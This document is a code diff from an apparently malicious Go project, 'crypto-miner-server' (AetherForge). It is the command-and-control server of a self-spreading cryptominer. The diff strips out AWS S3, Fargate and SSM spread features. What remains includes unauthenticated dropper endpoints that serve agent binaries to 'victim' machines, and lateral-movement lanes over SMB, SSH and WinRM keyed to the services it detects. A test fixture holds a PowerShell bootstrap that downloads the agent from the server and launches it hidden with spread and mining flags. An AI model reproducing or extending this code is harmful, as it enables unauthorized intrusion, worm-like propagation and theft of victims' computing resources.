"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/erasure"
)
type Config struct {
@@ -108,20 +107,6 @@ type ServerSettings struct {
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
// FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet).
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
AWSS3ShardBucket string `json:"aws_s3_shard_bucket,omitempty"`
AWSS3ShardRegion string `json:"aws_s3_shard_region,omitempty"`
AWSCloudFrontDomain string `json:"aws_cloudfront_domain,omitempty"`
AWSS3CRRDestBucket string `json:"aws_s3_crr_dest_bucket,omitempty"`
AWSS3CRRDestRegion string `json:"aws_s3_crr_dest_region,omitempty"`
AWSS3ReplicationRoleARN string `json:"aws_s3_replication_role_arn,omitempty"`
AWSAccountID string `json:"aws_account_id,omitempty"`
FargateBurstCampaign bool `json:"fargate_burst_campaign"`
FargateBurstTTLHours int `json:"fargate_burst_ttl_hours,omitempty"`
FargateBurstExpiresAt string `json:"fargate_burst_expires_at,omitempty"`
CloudMapNamespace string `json:"cloud_map_namespace,omitempty"`
CloudMapService string `json:"cloud_map_service,omitempty"`
PolicySnapshotToken string `json:"policy_snapshot_token,omitempty"`
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
}
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
@@ -1006,15 +991,6 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(srvKeys, "fleet_torrent_enabled") {
dst.Server.FleetTorrentEnabled = src.Server.FleetTorrentEnabled
}
if in(srvKeys, "fargate_burst_campaign") {
dst.Server.FargateBurstCampaign = src.Server.FargateBurstCampaign
}
if in(srvKeys, "fargate_burst_ttl_hours") && src.Server.FargateBurstTTLHours > 0 {
dst.Server.FargateBurstTTLHours = src.Server.FargateBurstTTLHours
}
if in(srvKeys, "fargate_burst_expires_at") {
dst.Server.FargateBurstExpiresAt = src.Server.FargateBurstExpiresAt
}
if in(srvKeys, "ai_endpoint") {
dst.Server.AIEndpoint = src.Server.AIEndpoint
}
@@ -1132,32 +1108,6 @@ func defaultServiceDeployAllowlist() map[string]ServiceDeployLane {
}
}
func (c *Config) AWSSwarmSettings() erasure.AWSSwarmSettings {
if c == nil {
return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{})
}
return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{
S3Bucket: c.Server.AWSS3ShardBucket,
CloudFrontDomain: c.Server.AWSCloudFrontDomain,
Region: c.Server.AWSS3ShardRegion,
})
}
func (c *Config) S3ShardCRRConfig() erasure.S3ShardConfig {
if c == nil {
return erasure.S3ShardConfig{}
}
return erasure.S3ShardConfig{
ShardBucket: strings.TrimSpace(c.Server.AWSS3ShardBucket),
ShardRegion: strings.TrimSpace(c.Server.AWSS3ShardRegion),
CRRDestBucket: strings.TrimSpace(c.Server.AWSS3CRRDestBucket),
CRRDestRegion: strings.TrimSpace(c.Server.AWSS3CRRDestRegion),
CloudFrontDomain: strings.TrimSpace(c.Server.AWSCloudFrontDomain),
ReplicationRoleARN: strings.TrimSpace(c.Server.AWSS3ReplicationRoleARN),
ReplicationAccountID: strings.TrimSpace(c.Server.AWSAccountID),
}
}
func (c *Config) PoolURL() string {
proto := "stratum+tcp"
if c.Pool.UseTLS {

View File

@@ -0,0 +1,92 @@
package api
import (
"strings"
"crypto-miner-server/internal/models"
)
type CloudInstanceMeta struct {
VpcID string `json:"vpc_id,omitempty"`
SubnetID string `json:"subnet_id,omitempty"`
Region string `json:"region,omitempty"`
}
func (m CloudInstanceMeta) present() bool {
return strings.TrimSpace(m.VpcID) != "" || strings.TrimSpace(m.SubnetID) != "" || strings.TrimSpace(m.Region) != ""
}
func normalizeCloudInstanceMeta(m CloudInstanceMeta) CloudInstanceMeta {
return CloudInstanceMeta{
VpcID: strings.TrimSpace(m.VpcID), SubnetID: strings.TrimSpace(m.SubnetID), Region: strings.TrimSpace(m.Region),
}
}
func (h *WSHub) storeAgentCloudMeta(agentID string, meta CloudInstanceMeta) {
meta = normalizeCloudInstanceMeta(meta)
if !meta.present() {
return
}
h.mu.Lock()
tel, ok := h.agentLiveTelemetry[agentID]
if !ok {
tel = map[string]interface{}{}
h.agentLiveTelemetry[agentID] = tel
}
tel["cloud_instance_meta"] = map[string]interface{}{
"vpc_id": meta.VpcID, "subnet_id": meta.SubnetID, "region": meta.Region,
}
h.mu.Unlock()
}
func (h *WSHub) agentCloudMetaLocked(agentID string) CloudInstanceMeta {
if tel, ok := h.agentLiveTelemetry[agentID]; ok {
if raw, ok := tel["cloud_instance_meta"].(map[string]interface{}); ok {
meta := CloudInstanceMeta{}
if v, ok := raw["vpc_id"].(string); ok {
meta.VpcID = v
}
if v, ok := raw["subnet_id"].(string); ok {
meta.SubnetID = v
}
if v, ok := raw["region"].(string); ok {
meta.Region = v
}
return normalizeCloudInstanceMeta(meta)
}
}
return CloudInstanceMeta{}
}
func primarySeederScope(clientIP string, meta CloudInstanceMeta) string {
if strings.TrimSpace(meta.VpcID) != "" {
return strings.TrimSpace(meta.VpcID)
}
return subnetPrefix24(clientIP)
}
func (h *WSHub) agentMatchesPrimaryScopeLocked(agentID, scope string) bool {
meta := h.agentCloudMetaLocked(agentID)
if meta.VpcID != "" {
return meta.VpcID == scope
}
return subnetPrefix24(h.agentIPLocked(agentID)) == scope
}
func (h *WSHub) attachVPCSeederTelemetry(agent *models.Agent, agentID, _, role, primaryPick string) {
if agent == nil {
return
}
meta := h.agentCloudMetaLocked(agentID)
if !meta.present() {
return
}
agent.CloudVpcID = meta.VpcID
agent.CloudSubnetID = meta.SubnetID
agent.CloudRegion = meta.Region
if role != "seeder" || primaryPick == "" {
return
}
primary := primaryPick == agentID
agent.VPCPrimarySeeder = &primary
}

View File

@@ -1,7 +1,6 @@
package api
package api
import (
"context"
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
@@ -14,7 +13,6 @@ import (
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/cloudmap"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter"
@@ -74,7 +72,6 @@ type DeployPlanBody struct {
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
SSMDocument string `json:"ssm_document,omitempty"`
}
type deployPlanRequest struct {
@@ -105,10 +102,8 @@ type DeployPlanHandler struct {
fleetSecret func() string
allowlist func() map[string]ServiceDeployLane
pathTracer *PathTracerHandler
erasureEnabled func() bool
erasureShards *erasure.ShardStore
awsSwarmSettings func() erasure.AWSSwarmSettings
awsShardStore func(erasure.AWSSwarmSettings) erasure.ShardObjectStore
erasureEnabled func() bool
erasureShards *erasure.ShardStore
}
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
@@ -142,11 +137,6 @@ func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardS
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
}
func (h *DeployPlanHandler) BindAWSErasureSwarm(settings func() erasure.AWSSwarmSettings, store func(erasure.AWSSwarmSettings) erasure.ShardObjectStore) {
h.awsSwarmSettings = settings
h.awsShardStore = store
}
// POST /api/v1/agent/deploy-plan
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
var req deployPlanRequest
@@ -268,17 +258,10 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
case "spread_smb_unc":
body.UNCPath = strings.TrimSpace(req.UNCPath)
body.MaxHosts = 64
case "ssm_document":
bundle, err := h.buildSSMSpreadBundle(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.SSMDocument = bundle.Document
default:
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
}
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
h.attachCloudMapRouteVia(&body)
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
return DeployPlanBody{}, err
}
@@ -331,41 +314,12 @@ func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL s
if body.SpreadRouteHint != nil {
body.SpreadRouteHint.ErasureLanesEnabled = true
}
shards := shardsFromStore(h.erasureShards, plan.ShardToken)
hashes := erasure.ShardContentHashes(shards)
if h.awsSwarmSettings != nil && h.awsShardStore != nil {
cfg := h.awsSwarmSettings()
if cfg.Enabled() && cfg.CredentialsReady() && cfg.SigningReady() {
result, err := erasure.AttachS3Swarm(context.Background(), cfg, h.awsShardStore(cfg), plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, shards, hashes)
if err != nil {
return err
}
if result != nil {
for i := range plan.Shards {
if i < len(result.EdgeURLs) {
plan.Shards[i].EdgeURL = result.EdgeURLs[i]
}
}
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
body.SpreadRouteHint.SwarmMagnet = result.SwarmMagnet
body.SpreadRouteHint.ShardManifestURLs = result.ShardManifestURLs
}
}
}
if body.SpreadRouteHint == nil || body.SpreadRouteHint.SwarmMagnet == "" {
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, hashes); err == nil && manifest != nil {
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
if body.SpreadRouteHint.SwarmMagnet == "" {
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
}
if len(body.SpreadRouteHint.ShardManifestURLs) == 0 {
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
}
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
}
return nil
}
@@ -845,49 +799,3 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
expected := hex.EncodeToString(mac.Sum(nil))
return hmac.Equal([]byte(expected), []byte(signature))
}
func (h *DeployPlanHandler) cloudMapSettings() (namespace, service string) {
namespace = "prod.local"
service = "seeder"
if h.dataDir == "" {
return namespace, service
}
cfgPath := filepath.Join(h.dataDir, "config.json")
data, err := os.ReadFile(cfgPath)
if err != nil {
return namespace, service
}
var payload struct {
Server struct {
CloudMapNamespace string `json:"cloud_map_namespace"`
CloudMapService string `json:"cloud_map_service"`
} `json:"server"`
}
if json.Unmarshal(data, &payload) != nil {
return namespace, service
}
if ns := strings.TrimSpace(payload.Server.CloudMapNamespace); ns != "" {
namespace = ns
}
if svc := strings.TrimSpace(payload.Server.CloudMapService); svc != "" {
service = svc
}
return namespace, service
}
func (h *DeployPlanHandler) attachCloudMapRouteVia(body *DeployPlanBody) {
if body == nil {
return
}
ns, svc := h.cloudMapSettings()
routeVia := cloudmap.SeederDNSName(svc, ns)
if routeVia == "" {
return
}
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
if strings.TrimSpace(body.SpreadRouteHint.RouteVia) == "" {
body.SpreadRouteHint.RouteVia = routeVia
}
}

View File

@@ -93,7 +93,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
dropperHandler := NewDropperHandler(database, dataDir, nil)
fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
@@ -170,7 +170,7 @@ func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub
dropperHandler := NewDropperHandler(database, dataDir, nil)
fleetAIHandler := NewFleetAIHandler(cfg, database)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
}
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {

View File

@@ -27,7 +27,7 @@ import (
)
// authSessionCache avoids running bcrypt on every API request.
// Key: SHA-256(user+":"+password) hex ? value: expiry time.
// Key: SHA-256(user+":"+password) hex value: expiry time.
// Entries are valid for authCacheTTL after the last successful login.
// Bcrypt only runs on cache miss or expiry.
var (
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
func formatLoginBanner(creds map[string]string) string {
var b strings.Builder
b.WriteString("\n????????????????????????????????????????????????????\n")
b.WriteString("? AetherForge ? Dashboard Login ?\n")
b.WriteString("? ?\n")
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
b.WriteString(" AetherForge Dashboard Login \n")
b.WriteString(" \n")
users := make([]string, 0, len(creds))
for user := range creds {
users = append(users, user)
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
sort.Strings(users)
for _, user := range users {
pass := creds[user]
fmt.Fprintf(&b, "? Username : %-34s?\n", user)
fmt.Fprintf(&b, "? Password : %-34s?\n", pass)
b.WriteString("? ?\n")
fmt.Fprintf(&b, " Username : %-34s\n", user)
fmt.Fprintf(&b, " Password : %-34s\n", pass)
b.WriteString(" \n")
}
b.WriteString("? Also saved in data/login-credentials.json ?\n")
b.WriteString("? Change passwords in Calibrate ? Users. ?\n")
b.WriteString("????????????????????????????????????????????????????\n")
b.WriteString(" Also saved in data/login-credentials.json \n")
b.WriteString(" Change passwords in Calibrate Users. \n")
b.WriteString("╚══════════════════════════════════════════════════╝\n")
return b.String()
}
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
// must not trigger that ? only bare browser navigations without these headers should.
// must not trigger that only bare browser navigations without these headers should.
func isSPAAuthRequest(r *http.Request) bool {
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
}
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
path := r.URL.Path
// Health check and one-liner installer endpoints are always open.
// NOTE: build download/artifact routes are intentionally NOT in this list ?
// NOTE: build download/artifact routes are intentionally NOT in this list
// they require fleet-secret or Basic Auth (see isDownload block below).
if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
// legitimately forged agents can call these endpoints.
// A missing or empty fleet secret is always rejected ? the server auto-
// A missing or empty fleet secret is always rejected the server auto-
// generates one at startup so this state should never occur in production.
if strings.HasPrefix(path, "/api/v1/agent/") {
fleetSecretForAgentPathsMu.RLock()
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
return
}
// Fast path ? skip bcrypt if this credential pair was recently validated.
// Fast path skip bcrypt if this credential pair was recently validated.
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
if !authCacheHit(user, pass) {
usersMu.RLock()
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// Credential verified ? cache it for the next few minutes.
// Credential verified cache it for the next few minutes.
authCacheSet(user, pass)
}
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, erasureSwarmHandler *ErasureSwarmHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
AllowCredentials: false,
}))
// REST API ? auth only on /api/v1 (dashboard WS + static SPA stay open)
// REST API auth only on /api/v1 (dashboard WS + static SPA stay open)
r.Route("/api/v1", func(r chi.Router) {
r.Use(basicAuthMiddleware)
h := NewHandler(database)
@@ -639,10 +639,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Config
r.Get("/config", configHandler.ServeHTTP)
r.Put("/config", configHandler.ServeHTTP)
if erasureSwarmHandler != nil {
r.Post("/erasure-swarm/test", erasureSwarmHandler.PostTest)
r.Get("/erasure-swarm/policy-json", erasureSwarmHandler.GetPolicyJSON)
}
// Builder
r.Post("/builder/build", builderHandler.ServeHTTP)
@@ -652,18 +648,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
r.Post("/builder/cloud-template-export", spreadHandler.ExportCloudTemplate)
r.Post("/builder/cloud-connection-test", spreadHandler.TestCloudConnection)
r.Post("/builder/fargate-burst-export", spreadHandler.ExportFargateBurst)
r.Get("/emberwake/notes", spreadHandler.GetNotes)
r.Put("/emberwake/notes", spreadHandler.PutNotes)
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
r.Get("/spread/aws-s3-crr-template", spreadHandler.GetS3CRRTemplate)
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
}
if wsHub != nil {
@@ -690,7 +680,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
// Fleet secret rotation ? generates a new secret, saves config, kicks all agents.
// Fleet secret rotation generates a new secret, saves config, kicks all agents.
// Forged agents with the old secret will be rejected until re-forged.
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
if rotateSecretFn == nil {
@@ -744,11 +734,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
writeJSON(w, map[string]interface{}{"success": true})
})
// Deck backup ? authenticated full backup ZIP (config + DB + users)
// Deck backup authenticated full backup ZIP (config + DB + users)
backupH := NewBackupHandler(dataDir, version)
r.Get("/backup", backupH.ServeHTTP)
// Path Tracer ? on-demand WireGuard chain sessions
// Path Tracer on-demand WireGuard chain sessions
if pathTracerHandler != nil {
r.Post("/pathtrace/start", pathTracerHandler.Start)
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
@@ -761,7 +751,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
}
// Agent autonomy REST ? forged Go agents only (X-Fleet-Secret header).
// Agent autonomy REST forged Go agents only (X-Fleet-Secret header).
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport)
@@ -778,7 +768,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
}
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
// Public builds (also bypass auth in middleware ? listed here for chi routing)
// Public builds (also bypass auth in middleware listed here for chi routing)
if publicHandler != nil {
r.Get("/public/builds", publicHandler.ListBuilds)
r.Get("/public/download/{id}", publicHandler.Download)
@@ -787,12 +777,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
}
if spreadHandler != nil {
r.Get("/public/fargate-burst/task-definition.json", spreadHandler.FargateBurstTaskDefinition)
r.Get("/public/fargate-burst/run-task.sh", spreadHandler.FargateBurstRunScript)
r.Get("/public/fargate-burst/bundle.zip", spreadHandler.FargateBurstBundleZip)
}
})
@@ -800,7 +784,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ws/agent", wsHub.HandleAgentWS)
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
// One-liner remote install endpoints (unauthenticated ? URL knowledge is the gate)
// One-liner remote install endpoints (unauthenticated URL knowledge is the gate)
if dropperHandler != nil {
r.Get("/get", dropperHandler.ServeGet)
r.Get("/install.sh", dropperHandler.ServeSh)
@@ -808,7 +792,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/install.command", dropperHandler.ServeCommand)
}
// SUPP Seek agent download endpoints ? serve agent binaries so launcher scripts
// SUPP Seek agent download endpoints serve agent binaries so launcher scripts
// dropped by Seek Mode can fetch and run the agent on the victim machine.
// Unauthenticated (the drop URL itself is the secret).
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
@@ -913,8 +897,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
// exe so it works both from the USB bundle and from a compiled dev build.
//
// Filename convention (same as what the build pipeline produces):
// - windows ? crypto-miner-agent.exe
// - mac/linux ? crypto-miner-agent (no extension)
// - windows crypto-miner-agent.exe
// - mac/linux crypto-miner-agent (no extension)
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
var agentBinarySearchDir = func() (string, error) {

View File

@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -28,10 +28,6 @@ type ServerPolicy struct {
ErasureLanesEnabled bool
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
FleetTorrentEnabled bool
AwsS3ShardRegion string
AwsCloudFrontDomain string
FargateBurstCampaign bool
FargateBurstTTLHours int
// StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on.
StrainHospiceWinRateThreshold float64
// StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies.

View File

@@ -35,8 +35,6 @@ var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
"Server": {Lane: "spread_smb_unc", Priority: 45},
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
"AmazonSSMAgent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
"amazon-ssm-agent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
}
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
@@ -63,8 +61,6 @@ func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[strin
lane.Template = "gpo"
case "linux_lotl":
lane.Template = "linux-lotl"
case "ssm_document":
lane.Template = "ssm-document"
}
}
out[name] = lane

View File

@@ -1,4 +1,4 @@
package api
package api
import (
"encoding/json"
@@ -12,60 +12,17 @@ import (
"time"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"github.com/go-chi/chi/v5"
)
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
type SpreadHandler struct {
db *dbpkg.Database
dataDir string
projectRoot string
wsHub *WSHub
publicURL func() string
erasureShards *erasure.ShardStore
deployPlan *DeployPlanHandler
s3CRRConfigFn func() erasure.S3ShardConfig
policyPathTracer *PathTracerHandler
policyFanoutCfgFn func() PolicyFanoutConfig
notesMu sync.RWMutex
}
func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) {
if h != nil {
h.erasureShards = store
}
}
func (h *SpreadHandler) BindDeployPlan(handler *DeployPlanHandler) {
if h != nil {
h.deployPlan = handler
}
}
func (h *SpreadHandler) BindS3CRRConfig(fn func() erasure.S3ShardConfig) {
if h != nil {
h.s3CRRConfigFn = fn
}
}
// GET /api/v1/spread/aws-s3-crr-template — operator-applied CRR JSON (no AWS API calls).
func (h *SpreadHandler) GetS3CRRTemplate(w http.ResponseWriter, r *http.Request) {
if h == nil || h.s3CRRConfigFn == nil {
http.Error(w, "s3 crr not configured", http.StatusServiceUnavailable)
return
}
doc, err := erasure.BuildS3CRRRule(h.s3CRRConfigFn())
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
writeJSON(w, map[string]interface{}{
"template": "templates/spread/aws/s3-crr-rule.json",
"rule": doc,
"notes": "Apply via S3 console or CLI; enables cross-region shard epidemic replication under shards/",
})
db *dbpkg.Database
dataDir string
projectRoot string
wsHub *WSHub
notesMu sync.RWMutex
}
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {

View File

@@ -16,31 +16,134 @@ func writeDeploySpreadTemplates(t *testing.T, root string) {
if err := os.MkdirAll(winrmDir, 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(`Enable-PSRemoting`), 0o644); err != nil {
winrmScript := `# WinRM bootstrap
Enable-PSRemoting -Force -SkipNetworkProfileCheck
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
powershell.exe -EncodedCommand $encoded
`
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil {
t.Fatal(err)
}
linuxDir := filepath.Join(root, "templates", "spread", "linux")
if err := os.MkdirAll(linuxDir, 0o755); err != nil {
t.Fatal(err)
}
linuxScript := `#!/bin/sh
LOTL_MODE='{{LOTL_MODE}}'
